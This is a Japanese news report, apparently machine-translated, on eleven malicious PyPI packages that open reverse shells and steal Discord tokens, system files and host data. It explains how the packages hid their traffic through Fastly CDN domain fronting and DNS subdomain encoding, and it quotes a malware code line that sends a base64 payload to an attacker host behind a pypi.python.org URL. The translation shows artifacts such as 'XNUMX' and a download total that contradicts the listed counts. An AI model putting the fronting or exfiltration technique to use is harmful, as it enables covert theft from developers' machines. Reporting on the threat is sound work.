PyPI CDN を使用して通信チャネルを隠す悪意のあるライブラリが PyPI カタログで検出されました

PyPI (Python Package Index) カタログにより、悪意のあるコードを含む 11 個のパッケージが明らかになりました。 問題が特定されるまでに、パッケージは合計で約 38 回ダウンロードされました。 検出された悪意のあるパッケージは、攻撃者のサーバーとの通信チャネルを隠すための複雑な方法が使用されていることが特徴です。

  • importantpackage (6305 ダウンロード)、 important-package (12897) - pypi.python.org への接続を装って外部サーバーへの接続を確立し、システムへのシェル アクセス (リバース シェル) を提供し、trevorc2 プログラムを使用して、コミュニケーションチャネル。
  • pptest (10001)、ipboards (946) - システムに関する情報 (最初のパケットではホスト名、作業ディレクトリ、内部および外部 IP、XNUMX 番目のパケットではユーザー名とホスト名) を転送するための通信チャネルとして DNS を使用しました。
  • owlmoon (3285)、DiscordSafety (557)、yiffparty (1859) はシステム内で Discord サービス トークンを検出し、外部ホストに送信しました。
  • trrfab (287) - 識別子、ホスト名、および /etc/passwd、/etc/hosts、/home の内容を外部ホストに送信します。
  • 10Cent10 (490) - 外部ホストとのリバース シェル接続を確立しました。
  • yandex-yt (4183) - システムが侵害されているというメッセージが表示され、nda.ya.ru (api.ya.cc) 経由で発行されるさらなるアクションに関する追加情報を含むページにリダイレクトされます。

特に注目すべきは、 importantpackage および important-package パッケージで使用される外部ホストにアクセスする方法です。これは、アクティビティを隠すために PyPI カタログで使用される Fastly コンテンツ配信ネットワークを使用していました。 実際、リクエストは pypi.python.org サーバーに送信されました (HTTPS リクエスト内の SNI に python.org という名前を指定することを含む) が、同時に攻撃者が制御するサーバーの名前が HTTP リクエストに設定されました。ヘッダー「Host」(sec.forward.io.global.prod.fastly.net)。 コンテンツ配信ネットワークは、データ送信時に pypi.python.org との TLS 接続パラメータを使用して、同様のリクエストを攻撃者のサーバーに送信しました。

PyPI インフラストラクチャは、Fastly コンテンツ配信ネットワークを利用しています。このネットワークは、透過的な Varnish プロキシを使用して一般的なリクエストをキャッシュし、エンド サーバーではなく CDN レベルで TLS 証明書処理を使用して、プロキシ経由の HTTPS リクエストを整理します。 ターゲット ホストに関係なく、リクエストはプロキシに送信され、プロキシは「Host」HTTP ヘッダーによって目的のホストを決定します。ホストのドメイン名は、すべての Fastly クライアントの CDN ロード バランサーの一般的な IP アドレスに関連付けられます。

攻撃者のサーバーは CDN Fastly にも登録しており、誰でも無料のデータ プランを提供し、匿名での登録も可能です。 「リバース シェル」を作成するときに、被害者にリクエストを送信するためにスキームも使用されますが、攻撃者のホス​​トによって開始されることは注目に値します。 外部から見ると、攻撃者のサーバーとの対話は、PyPI TLS 証明書を使用して暗号化された PyPI ディレクトリとの正規のセッションのように見えます。 「ドメインフロンティング」として知られる同様の手法は、以前はロックをバイパスするときにホスト名を隠すために積極的に使用されていました。これは、一部の CDN ネットワークで提供されている機能を利用して、SNI で指定された架空のホストで HTTPS にアクセスし、ドメイン名の実際の送信を行いました。 TLS セッション内の Host HTTP ヘッダー内の要求されたホスト。

PyPI CDN を使用して通信チャネルを隠す悪意のあるライブラリが PyPI カタログで検出されました

悪意のあるアクティビティを隠すために、TrevorC2 パッケージが追加で使用され、通常の Web ナビゲーションと同様にサーバーとの対話が行われました。たとえば、画像「https://pypi.python.org/images」のダウンロードを装って悪意のあるリクエストが送信されました。 /guid=” guid パラメータにエンコード情報を指定します。 URL = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

pptest および ipboards パッケージは、DNS サーバーへのクエリ内のペイロード情報のエンコードに基づいて、ネットワーク アクティビティを隠すために別のアプローチを使用しました。 このマルウェアは、「nu4timjagq4fimbuhe.example.com」形式の DNS リクエストを実行することによって情報を送信します。このリクエストでは、C&C サーバーに送信されるデータは、base64 形式を使用してサブドメイン名でエンコードされます。 攻撃者は、example.com ドメインの DNS サーバーを制御することによってこれらのメッセージを受信します。

出所: オープンネット.ru

コメントを追加します